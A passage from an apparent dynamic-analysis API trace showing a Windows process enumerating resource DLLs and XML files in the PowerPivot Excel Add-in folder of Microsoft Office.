ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x204030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f7b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f7b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc70f7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc70f7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbc97147, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.626] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99dec29, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99dec29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf37f804b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6081126, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6081126, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x613fd44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.627] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6081126, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6081126, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x613fd44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.627] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.629] GetProcessHeap () returned 0xaf0000 [0281.629] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.629] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0281.629] GetProcessHeap () returned 0xaf0000 [0281.629] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.630] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.630] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c15e5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20aa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b3aadd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b3aadd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b3aadd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4bc999b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4bc999b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a18be3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a18be3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a18be3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.633] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x74040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a18be3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a18be3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a3ee57, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6735b3a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6735b3a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6735b3a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.634] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, 